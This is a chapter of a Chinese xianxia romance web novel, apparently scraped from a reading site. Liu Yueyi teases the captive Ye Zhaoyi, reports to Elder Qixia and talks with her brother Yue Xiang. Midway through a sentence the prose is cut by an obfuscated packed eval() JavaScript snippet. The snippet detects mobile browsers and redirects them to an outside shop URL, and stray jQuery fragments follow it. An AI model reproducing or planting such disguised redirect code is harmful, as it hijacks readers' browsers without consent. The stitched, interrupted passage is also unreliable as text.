默认冷灰
24号文字
方正启体

10. 真可爱,我们朝衣

作者:大嬷王本书字数:K更新时间:
    柳月倚站在法阵外,她弯腰,乌发垂在胸前被风微微吹起。


    叶朝衣一双愤怒的眼睛逐渐闪躲,如蝉羽般漂亮翘长的睫毛忽闪忽闪。


    他的呼吸变得急促,他不想让她察觉,然而这份小心思慢慢颤抖,他想咬她。


    柳月倚莹白的指腹慢慢靠近,带着淡淡苦涩的药草气息,缠绵着她身上独特的香气,冷冽的香气。


    突然,她手指捏住他的下巴。他的眼睛只好看她了。嗯。他对自己说。柳月倚坏透了。


    柳月倚带着低低的笑意,这份笑意她自己似乎都不曾察觉。


    她的手指捏住叶朝衣的下巴,她的目光略带侵略性地扫过他脸上的每一处五官。不情不愿微蹙的艳丽眉眼、挺拔秀气的鼻梁、艳红色微微颤抖的嘴唇。嗯……还有逐渐晕开淡粉色的脸颊。


    真可爱。


    叶朝衣慌乱的、狠狠的瞪了柳月倚一眼。


    柳月倚捏了捏叶朝衣的脸颊。


    叶朝衣气死了。


    各种乱七八糟的心情在心里打结。那条该死的尾巴还摇啊摇,摇啊摇。


    他咬住柳月倚的手指。


    柳月倚把他搅得乱七八糟。


    他嘤了一声。她附在他耳边,悄悄的,柔柔的,还带着一声明显的笑意,“真可爱。我们朝衣。”


    气死了,气死了。气死了。柳月倚!柳月倚就是最可恶的人。


    “你、你……”可话到嘴边却说不出来一句。他感到心底有一阵电流划过。颤得他发抖。偏偏她今天还穿着白衣,头发还用青簪松松绾起,仿佛一下子就回到好多年前,她会抱着他亲昵地叫他名字,有一下没一下地抚摸他的头发,好像她始终不曾离开,他们之间从来没有刀剑相向。


    “不应该这样,对吗。”柳月倚的声音从上方传来,她的眼睛一刻不曾离开他。


    “你想要什么?”柳月倚说,“这次我应该放你自由。对吧。”


    叶朝衣瞳孔一颤。


    那些酥麻的感觉又侵蚀他的心脏了,一点一点腐蚀,像空了一大块,永久的暗无天日。


    “我恨你,柳月倚。”


    “嗯。我知道。”


    “你太自以为是了!”


    “有一点?”


    “岂止一点!”


    “嗯……那就有很多。”


    “你知不知道我有多恨你?”叶朝衣呼吸急促,眼尾发红。


    “我不知道。我——”柳月倚将欲开口,却听见门外风铃轻动,有人找她。


    “我们待会再谈好吗。”柳月倚缓缓站起。


    “不许!”叶朝衣被困在法阵里,两只眼睛犹如毒蛇暗影死死缠着柳月倚。


    柳月倚回头,静静看着叶朝衣。


    叶朝衣笑了,幽幽怨怨,“又为了别人!你看,柳月倚,为了别人,你又把我丢在这里。”


    柳月倚转身,一步一步走近,她脸上看不出有什么表情,她居高临下,眼睛清亮冷冽,静静注视着叶朝衣。


    她捡起他的尾巴。那条小心翼翼在法阵边缘触碰又缩回的尾巴。


    她一言不发,只有指尖不停玩弄。


    尾巴可怜兮兮摇动,鳞片已经被法阵微微灼伤。


    她指尖挽出一朵灵花。轻轻为它疗伤。


    他闷哼一声。


    她这才看向他,眼睛依旧波澜不起,“你在这里等我。”言简意赅。


    几乎是一种本能。


    支配与被支配的本能。


    战栗感爬上尾椎骨,恶劣到深不见底的愉悦,无名巨大的黑暗将两个人紧紧吞噬,空气中涌动的气息,是只有两个人才知道的暗语。


    “乖乖的,朝衣。别受伤。”柳月倚语气温柔。


    柳月倚从来都是温柔的。温柔的像一汪湖泊,涌动着初春融化的雪水,阳光底下闪闪发亮,美好的恨不得叫人溺死。可她的背影又始终决绝。她一直向前走,没有一次回头。


    是栖霞婆婆要见柳月倚。


    柳月倚与月春华那场试炼被传的玄乎其玄。


    据说那日天雷滚滚,灵草园那个废物被雷劈后竟神识大开,像从金光里走出来的血人,煞得本家来的那个痛哭流涕。


    当日去的人不多,流言蜚语却迅速扩大。有好事者甚至也妄引天雷,却终不成功,反成焦人。一时又传起那废柴原是被劈死了,而本家那个也被劈得半死,痛哭流涕。这时天雷又便成了邪雷。


    闹闹泱泱地,这风声自然也落到了栖息婆婆那里。


    栖霞婆婆见到柳月倚,神色冷肃,反问了她一句,“还活着。”


    柳月倚展开双臂,回答道,“如您所见。”


    “赢了?”栖霞婆婆漫不经心打量柳月倚,平素里苍老浑浊的眼珠这一刻分外锐利。


    柳月倚笑了笑,“我猜,您本就觉得我不会输。”


    “哼。”栖霞婆婆不满瞥了柳月倚一眼,“轻狂。”


    柳月倚语气诚恳,“我也才知道,自己原从不曾失过心性。”


    这句话倒是惹得栖霞婆婆笑了。她果然没看走眼。


    当年这丫头初来碧落门不过豆丁大小,原不过是一个引灵都不曾的,却能从人群中一眼认定自己是这里的话事人,不卑不亢地请求要去守园。她那日问她,你有什么资格。稚子虽说,我不敢妄言。语气里却不曾软弱半分。


    栖霞婆婆至今都记得豆丁大的小鬼说话时的神态。她说,只要您给我机会,我便会让您知道我有资格给您带来什么样的结果。瘦瘦小小的身子,眼睛却亮大,天生就让人信服。


    她给了她机会。她果真将园子打理得十全十美。她时常怀疑她有没有引灵成功。结果却是,她的确是个连引灵都不曾的废柴。但经她手培育生长的灵草却格外郁郁葱葱,灵力旺盛。


    这孩子日复一日的长大,倒是再没有初见时的冲动莽撞。十年来沉默低调,虽没有灵力,却也在月家这个弱肉强食的残杀之地周全而自保。


    只是,这并不是我不犯人,人便不犯我的世道。


    她总有一天要与这个世界激烈的碰撞。


    栖霞婆婆晓得这个看似老实本分的女子骨子里有杀不掉的轻狂。她本以为她会死的很惨,没想到,竟还能活着。


    “既然还活着,况已引灵,银镶玉草有了眉目,便一并把金镶玉草培育出来才好。”栖霞婆婆拍拍柳月


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365645|199825||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    倚肩头,“月柳,修真之途比你想的还长,别死的太早。”


    栖霞婆婆眼神里罕见多了份世事苍苍,但又瞬间恢复冷穆,“记得早日向老身交差。”


    “您放心。”柳月倚似是想起了什么,声音很低,随风飘飘散散,她在心底说了一句,不会了。


    柳月倚从栖霞婆婆处离开,她抬头,天空蓝得令人眩目。这时她才发现原来游离境的天空这么蓝。


    她一时便想起了仰观止。柳月倚想,她几乎要把那个地方忘却,还是她从前始终没有好好看过仰观止。


    她本该要去灵草园。但走了两步便折返。柳月倚踏上回房间的路,却意外碰到了熟悉的背影。


    “月襄。”柳月倚叫住他,问月襄,“你来找我,有何事?”


    月襄转身,点头,“月柳,你是否想去本家。”


    柳月倚了然。月家就是极尽推崇弱肉强食,极尽挖掘每一个有天赋的小辈,必要他们为家族鞠躬尽瘁。


    “如果说我不想去呢。”如果这次她不要再走那条路呢。


    “你要一直待在璧落门?”月襄略作思忖,“你若不愿意,本家那边由我来说。”


    柳月倚轻笑摇头,“怎么会。”


    “月襄,我得为自己的行为负责不是吗。”柳月倚在月襄面前打了一个响指,“喂,月襄。你在想什么。”


    月襄垂眸,有些落寞,“这次如果不是我……”


    “月襄?”柳月倚挑挑眉,“你是觉得如果不是你,月春华就不会挑衅我了?”


    “我不应该、是我没有保护好你——”


    柳月倚笑着摇摇头,“是我发出的邀约令。”


    “月襄你听好了。我不要你为我自责你懂吗。”


    月襄脸上露出不解,“可我们是兄妹。”我得保护好你才行。


    “所以我们才要互相依靠。”柳月倚看着月襄,“或许你一直想保护的人,他们已经长大了。”


    “……都有了自己的想法。”柳月倚尝试组织措辞,其实这事她也不擅长应付,仔细回忆起来,向来都是她保护别人,她也只能尝试揣测他人心思。只是又确实习惯了保护别人,站在这样的立场上,面对月襄的神情,她打心底有了一丝微妙的感觉。


    修真界从不缺尸体,没有谁能够一直保护谁。这句警言在柳月倚还未出师时就被刻在心里。但她没有对月襄说这句话,而是真心实意地喟叹一句,“修真之路远比我们想的还长。”


    月襄又何尝不明白。只是在朝不保夕的世界,有一份念想弥足珍贵。月襄说,“但是月柳,我会一直保护你。”他眼神坚定。


    “我也会。”柳月倚说,“我也会一直保护你的,月襄。”


    “至于要不要去本家——”柳月倚思忖,“容我再想想。”


    “月襄,我想好了就给你答复。”


    柳月倚确实要好好想一想她未来要走的路。


    厌倦的、疲惫的、不甘心的,同时又是心之所向的,憎恶的。条条缕缕交织在一起。


    她推开门,细细打量了空荡荡的室内,走近,蹲下,跳跃着金黄色光的法阵还在。


    叶朝衣不见了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)